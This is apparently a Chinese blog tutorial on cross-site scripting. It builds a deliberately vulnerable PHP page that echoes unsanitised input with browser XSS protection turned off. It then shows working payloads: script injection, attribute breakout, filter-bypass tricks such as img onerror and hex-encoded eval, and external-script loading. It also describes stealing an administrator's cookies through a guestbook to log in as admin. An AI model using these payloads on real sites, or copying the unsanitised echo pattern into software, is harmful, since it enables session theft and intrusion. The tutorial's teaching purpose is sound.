前端安全之 XSS攻击
参看:
1、前言
XSS 是面试时,hr提出来给我的,然后大体的浏览一遍,今天才查阅资料大体了解了它。
XSS 攻击:攻击者向HTML页面传入恶意的HTML或JS代码,当用户浏览该页面时,恶意代码执行,达到攻击的目的。
2、原理实现
在本地搭建PHP环境(使用phpstudy安装),然后在index.php文件中输入一下代码:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS原理重现</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="xss_input">
<input type="submit">
</form>
<hr>
<?php
header("X-XSS-Protection: 0"); // 0: 表示关闭浏览器的XSS防护机制
error_reporting(0); // 加上error_reporting(0);就不会弹出警告了
$xss = $_GET['xss_input'];
echo '<h5>你输入的字符为</h5><br />'.$xss;
?>
</body>
</html>
现在在输入框中输入abc普通字符串,然后在页面中显示:

之后查看页面代码,就会发现页面上多了一行代码:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS原理重现</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="xss_input">
<input type="submit">
</form>
<hr>
/*------多了的代码:123-------*/
<h5>你输入的字符为</h5><br />123</body>
</html>
此时,我要是在输入<script>alert('xss')</script>这种可以被解析的代码时:
现在页面就显现出xss漏洞了。

之后查看页面代码,就会发现页面上多了一行代码:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS原理重现</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="xss_input">
<input type="submit">
</form>
<hr>
/*------多了的代码:<script>alert('xss')</script>-------*/
// 代码出现在 br标签 和 body标签中
<h5>你输入的字符为</h5><br /><script>alert('xss')</script></body>
</html>
3、xss利用输出环境来构造代码
现在我要改变 xss 攻击:
以上测试是在,标签中插入scrpit标签达到攻击的目的;现在我想要在html页面标签的属性中插入xss攻击代码。因此,当你我输入<script>alert('xss')</script>,不会显示出弹框了。
3.1测试代码
<!DOCTYPE html>
<html> <head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS利用输出的环境来构造代码</title>
</head> <body>
<center>
<h6>把我们输入的字符串 输出到input里的value属性里</h6>
<form action="" method="get">
<h6>请输入你想显现的字符串</h6>
<input type="text" name="xss_input_value" value="输入"><br>
<input type="submit">
</form>
<hr>
<?php
header("X-XSS-Protection: 0");
error_reporting(0);//加上error_reporting(0);就不会弹出警告了
$xss = $_GET['xss_input_value'];
if(isset($xss)){
echo '<input type="text" value="'.$xss.'">';
}else{
echo '<input type="type" value="输出">';
}
?>
</center>
</body> </html>
页面效果:

3.2 输入一
当我在输入框输入qwer字符串时,会在输出框显示我输入的字符串:

此时网页代码:
<center>
<h6>把我们输入的字符串 输出到input里的value属性里</h6>
<form action="" method="get">
<h6>请输入你想显现的字符串</h6>
<input type="text" name="xss_input_value" value="输入"><br>
<input type="submit">
</form>
<hr>
<input type="text" value="qwer"> </center>
3.3输入二
现在我输入<script>alert('xss')</script>,字符串正常输入,明显的可以看到,并没有弹出对话框:

此时网页代码:
<body>
<center>
<h6>把我们输入的字符串 输出到input里的value属性里</h6>
<form action="" method="get">
<h6>请输入你想显现的字符串</h6>
<input type="text" name="xss_input_value" value="输入"><br>
<input type="submit">
</form>
<hr>
<input type="text" value="<script>alert('xss')</script>"> </center>
</body>
分析输出代码:
<input type="text" value="<script>alert('xss')</script>"> </center>
3.4 输入三
如果我输入">,就会变成:
<input type="text" value=""> "> </center>
input提前闭合了!之后的">就被舍弃了,变成了普通文本。
3.5 输入四
如果我输入:"><script>alert('xss')</script>
显示效果:

3.6 输入五
现在我不想显示弹框攻击了,我想触发某种事件实现攻击,那么就输入以下内容:
" onmousemove="alert('我就测试一下')"
显示结果:

页面代码:
<center>
<h6>把我们输入的字符串 输出到input里的value属性里</h6>
<form action="" method="get">
<h6>请输入你想显现的字符串</h6>
<input type="text" name="xss_input_value" value="输入"><br>
<input type="submit">
</form>
<hr>
<input type="text" value="" onmousemove="alert('我就测试一下')""> </center>
说明:输入以后,鼠标在移动是触发事件,形成xss攻击。
那么,我在<textarea> 标签中显示呢?
此时就这样输入:
</textarea> <script>alert(‘xss’)</script> // 就可以实现弹窗了
4、过滤的解决办法
假如说网站禁止过滤了script 这时该怎么办呢 ?
那么就需要记住:只要页面能触发你的js代码
有哪些方法呢?
<!-- 当找不到图片名为1的文件时,执行alert('xss') -->
<img scr=1 onerror=alert('xss')>
<!-- 点击s时运行alert('xss') -->
<a href=javascrip:alert('xss')>s</a>
<!-- 利用iframe的scr来弹窗 -->
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>
<!-- 过滤了alert来执行弹窗 -->
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
5、xss的利用
<script scr="js_url"></script>
<img src=x onerror=appendChild(createElement('script')).src='js_url' />
比如我们在网站的留言区输入<script scr=”js_url”></script>
当管理员进后台浏览留言的时候,就会触发
然后管理员的cookies和后台地址还有管理员浏览器版本等等
你都可以获取到了,再用“桂林老兵cookie欺骗工具”来更改你的cookies,
就可以不用输入账号 密码 验证码 就可以以管理员的方式来进行登录了。
前端安全之 XSS攻击的更多相关文章
- 前端安全之XSS攻击
XSS(cross-site scripting跨域脚本攻击)攻击是最常见的Web攻击,其重点是“跨域”和“客户端执行”.有人将XSS攻击分为三种,分别是: 1. Reflected XSS(基于反射 ...
- 前端Hack之XSS攻击个人学习笔记
简单概述 ** 此篇系本人两周来学习XSS的一份个人总结,实质上应该是一份笔记,方便自己日后重新回来复习,文中涉及到的文章我都会在末尾尽可能地添加上,此次总结是我在学习过程中所写,如有任 ...
- 转:前端安全之XSS攻击
前端安全 原文链接:https://www.freebuf.com/articles/web/185654.html 随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企 ...
- 前端安全之XSS攻击及防御
xss攻击是什么 ? XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞.理论上, ...
- XSS攻击的解决方法
在我上一篇<前端安全之XSS攻击>文中,并没有把XSS攻击的解决办法说完整,而XSS的攻击又那么五花八门,有没有一招“独孤九剑”能够抗衡,毕竟那么多情况场景,开发人员无法一一照顾过来,而今 ...
- 前端安全(XSS、CSRF防御)
一.网络安全 OWASP:开放式Web应用程序安全项目(OWASP,Open Web Application Security Project) OWASP是一个开源的 ...
- 前端安全之CSRF攻击
前端安全之CSRF攻击 转载请注明出处:unclekeith: 前端安全之CSRF攻击 CSRF定义 CSRF,即(Cross-site request forgery), 中文名为跨站请求伪造.是一 ...
- 前端过滤XSS攻击
日常开发过程中,对于存在用户交互的一些门户网站等,过滤xss攻击是必不可少的. 此处主要记录下我在工作过程中的简单处理方法. 前端过滤XSS攻击, 我这里用的是开源工程 js-xss,官网地址:htt ...
- 转---如何让前端更安全?——XSS攻击和防御详解
前言 平时很少关注安全这块的技术,曾经也买过一本<Web前端黑客技术揭秘>但至今还没翻过,尴尬.今天的早读文章由腾讯优测@小吉带来的分享. 正文从这开始~ 最近深入了解了一下XSS攻击.以 ...
随机推荐
- Interlocked.Increment()函数详解 (转载)
原文地址 class Program { static object lockObj = new object(); ; ; //假设要处理的数据源 , ).ToList(); static void ...
- 「JLOI2015」战争调度
题目 [内存限制:256 MiB][时间限制:1000 ms] [标准输入输出][题目类型:传统][评测方式:文本比较] 题目描述 脸哥最近来到了一个神奇的王国,王国里的公民每个公民有两个下属或者没有 ...
- SQL注入个人理解及思路(包括payload和绕过的一些方式)
首先本文主要是把我对SQL注入的一些坑和最早学习SQL注入的时候的一些不理解的地方做一个梳理. (本文仅为个人的一点皮毛理解,如有错误还望指出,转载请说明出处,大佬勿喷=.=) 什么是SQL注入呢? ...
- pip升级报错(权限问题)
今天跟新pip的时候错一个接一个 看到拒绝访问应该是权限的问题,想起安装的时候选择谁可以使用软件(大概是这样的一个选项),选择了“只有我”,选择所有用户应该就不会存在这个问题了,那么怎么解决呢? 敲黑 ...
- 信号强度(RSSI)知识整理
来源: https://www.cnblogs.com/lele/articles/2832885.html 为什么无线信号(RSSI)是负值 答:其实归根到底为什么接收的无线信号是负值,这样子是不是 ...
- FTPClient下载文件,程序假死问题
[所属类包] org.apache.commons.net.ftp.FTPClient [现象描述] 这两天java项目中用到了FTP下载,像之前的项目写好代码,但是点击下载后,程序调试到下面这一行, ...
- 了解AOP以及实现方式
AOP是什么? 面向切面编程,把那些与业务无关,却为业务模块所共同调用的逻辑封装成一个可重的模块,即切面 使用"横切"技术,AOP把软件系统分为两个部分:核心关注点和横切关注点.业 ...
- arm linux 移植支持 HP打印机
背景 由于业务需要,需要hi3531d主板上加入对于HP打印机的支持. 通过与产品经理,技术主管的沟通:通用支持是不现实的,只要求彩色打印,先不考虑打印机的价格,只要支持一款打印机即可. 注意: Li ...
- 南邮平台之Hello,RE!
小白闲逛了一下南邮平台看到了逆向这题,小白在网上看了一下别人的write up发现有点复杂.于是小白就试试看,直接Underfine然后结果就出来了.....有点意外...... 结果flag{Wel ...
- Linux-lsxxx
Linux-lsxxx ls list directory contents 列出文件及目录 lsattr List file attributes on a Linux second extende ...